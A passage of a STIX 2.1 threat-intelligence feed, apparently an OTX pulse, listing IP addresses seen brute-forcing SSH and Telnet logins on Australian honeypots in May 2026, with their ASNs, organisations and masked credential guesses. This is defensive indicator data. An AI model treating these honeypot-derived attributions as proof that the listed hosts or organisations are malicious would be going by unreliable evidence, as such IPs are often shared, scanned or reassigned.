      "modified": "2026-05-22T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.242.167.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T03:15:10.000Z",
      "valid_until": "2026-06-23T03:15:08.000Z"
    },
    {
      "created": "2026-05-22T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--0e4556eb-a99c-4adc-9b2e-da3abc353c83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.98.171.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T03:15:10.000Z",
      "valid_until": "2026-06-23T03:15:08.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132746. Organisation(s): Infolink System.",
      "id": "indicator--08c5a9b5-6eba-4739-a05a-a9a23f70e891",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.163.244.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--67051bd7-f572-42b9-8581-892c731b5314",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.152.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--3e772879-9a90-4c48-bbcb-0004dee5244e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.180.67.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--dcab176f-ca3b-4023-a496-6f8a0acc2687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.3.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--188d0b2e-3dfe-45dd-8b62-d9d937720bc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.65.38.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 4775. Organisation(s): Globe Telecoms.",
      "id": "indicator--ec41a008-fefb-45b6-b48b-63d22ebf6f57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.123.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bddde00b-19f9-48c4-9927-97ad7b5b89c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.247.205.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 204457. Organisation(s): Atlantis Telekomunikasyon Bilisim Hizmetleri San. ve Tic. Ltd. Sti..",
      "id": "indicator--7c76500f-7f96-4746-a233-84a642a8df2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.170.186.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 210457. Organisation(s): Kyonix Networks Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--814c786e-f719-4ff8-bb13-1351f4b24291",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.27.4.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c946c4ee-588b-443a-b872-2fbde62e69d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.20.222.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--001f3138-e708-4563-a656-1a5867c29331",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d03cf6ae-9476-4a51-8ea1-adb0ed80ee99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--25601fca-1136-42bf-b873-7ebeff221940",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.107.243.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T04:15:06.000Z",
      "valid_until": "2026-06-23T04:15:03.000Z"
    },
    {
      "created": "2026-05-22T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--1fc1b23f-9a18-4069-bde1-5e7698ab654f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.51.97.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:15:11.000Z",
      "valid_until": "2026-06-23T05:15:08.000Z"
    },
    {
      "created": "2026-05-22T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fee8e5fe-f22b-4ee5-b2b4-aa97292e067a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.58.60.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:15:11.000Z",
      "valid_until": "2026-06-23T05:15:08.000Z"
    },
    {
      "created": "2026-05-22T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8c16990d-b4fc-40c7-9b85-786dd448447f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.96.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:15:11.000Z",
      "valid_until": "2026-06-23T05:15:08.000Z"
    },
    {
      "created": "2026-05-22T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--074672b0-cda8-4d7c-8fca-ac157a30d8b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.243.71.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:15:11.000Z",
      "valid_until": "2026-06-23T05:15:08.000Z"
    },
    {
      "created": "2026-05-22T05:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--1a34d6a5-a9ee-400b-bc38-65a22ffa32b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:15:11.000Z",
      "valid_until": "2026-06-23T05:15:08.000Z"
    },
    {
      "created": "2026-05-22T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t. Passwords observed (masked): 1********@.",
      "id": "indicator--a0d93a97-22c2-4042-a135-7a9d57460e6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.33.210.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:15:11.000Z",
      "valid_until": "2026-06-23T05:15:08.000Z"
    },
    {
      "created": "2026-05-22T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 38142. Organisation(s): Universitas Airlangga.",
      "id": "indicator--1c387cd7-bf20-4342-927e-14a2fabaee7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.57.208.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:15:11.000Z",
      "valid_until": "2026-06-23T05:15:08.000Z"
    },
    {
      "created": "2026-05-22T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--386f1f1e-5ff3-4d44-86a0-2be9f74dcd98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.19.6.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:15:11.000Z",
      "valid_until": "2026-06-23T05:15:08.000Z"
    },
    {
      "created": "2026-05-22T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): ***, x***o. Passwords observed (masked): 1****6, ***.",
      "id": "indicator--cc4fdc57-99a9-4f10-9c7b-bf3a0de3ed64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.6.234.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:15:11.000Z",
      "valid_until": "2026-06-23T05:15:08.000Z"
    },
    {
      "created": "2026-05-22T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137172. Organisation(s): ALL CONNECT NETWORK SERVICES PRIVATE LIMITED.",
      "id": "indicator--f01bc02c-f325-4ca2-803f-e7c56d9deb0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.214.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T06:15:11.000Z",
      "valid_until": "2026-06-23T06:15:08.000Z"
    },
    {
      "created": "2026-05-22T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 4685. Organisation(s): Asahi Net. Usernames observed (masked): r**t. Passwords observed (masked): a*******..",
      "id": "indicator--62cf7850-c7ba-4e05-9766-c4d64ed70062",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.155.125.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T06:15:11.000Z",
      "valid_until": "2026-06-23T06:15:08.000Z"
    },
    {
      "created": "2026-05-22T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--58119d52-0069-4de7-83ca-984a62da8071",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.226.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T06:15:11.000Z",
      "valid_until": "2026-06-23T06:15:08.000Z"
    },
    {
      "created": "2026-05-22T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--06efcd40-a0bb-4737-afe0-cfc05257a132",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.24.180.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T06:15:11.000Z",
      "valid_until": "2026-06-23T06:15:08.000Z"
    },
    {
      "created": "2026-05-22T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 58065. Organisation(s): Orion Network Limited. Usernames observed (masked): r**t, v*****r, 3**********4, **, k***n. Passwords observed (masked): ***, 3***********4, 3**********4, A******1, A******6.",
      "id": "indicator--b61421d6-f4e0-4b73-809b-3fbc7d917b30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.196.150.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T06:15:11.000Z",
      "valid_until": "2026-06-23T06:15:08.000Z"
    },
    {
      "created": "2026-05-22T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14117. Organisation(s): Telefonica del Sur S.A.. Usernames observed (masked): t****o. Passwords observed (masked): t****o.",
      "id": "indicator--b3cf7f75-6cbc-4e58-9b73-b6a11e3c284a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.155.93.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T06:15:11.000Z",
      "valid_until": "2026-06-23T06:15:08.000Z"
    },
    {
      "created": "2026-05-22T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--9a8eab89-0dee-4b92-b643-6f169fc3868b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.198.224.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T06:15:11.000Z",
      "valid_until": "2026-06-23T06:15:08.000Z"
    },
    {
      "created": "2026-05-22T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7029. Organisation(s): Windstream Communications LLC.",
      "id": "indicator--82ddc6cb-1923-42c8-a3ba-b249de538236",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.22.211.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T06:15:11.000Z",
      "valid_until": "2026-06-23T06:15:08.000Z"
    },
    {
      "created": "2026-05-22T07:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c8aa3fa5-1262-4251-97bd-92274494b497",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.182.12.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:15:06.000Z",
      "valid_until": "2026-06-23T07:15:03.000Z"
    },
    {
      "created": "2026-05-22T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 5065. Organisation(s): Bunny Communications. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, K********N.",
      "id": "indicator--de9a9efd-0df7-43fc-b99e-949f62981cf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.13.215.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:15:06.000Z",
      "valid_until": "2026-06-23T07:15:03.000Z"
    },
    {
      "created": "2026-05-22T07:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137172. Organisation(s): ALL CONNECT NETWORK SERVICES PRIVATE LIMITED.",
      "id": "indicator--6d8379d8-b637-4bb6-ae67-9b23323caa1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.190.67.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:15:06.000Z",
      "valid_until": "2026-06-23T07:15:03.000Z"
    },
    {
      "created": "2026-05-22T07:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--660abff8-6978-4ec1-b752-6bb2e21f2b97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.24.190.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T07:15:06.000Z",
      "valid_until": "2026-06-23T07:15:03.000Z"
    },
    {
      "created": "2026-05-22T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, t**n, 3**********4, f******r, m**r. Passwords observed (masked): 1****6, 3***********4, 3**********4, f******r, m**r.",
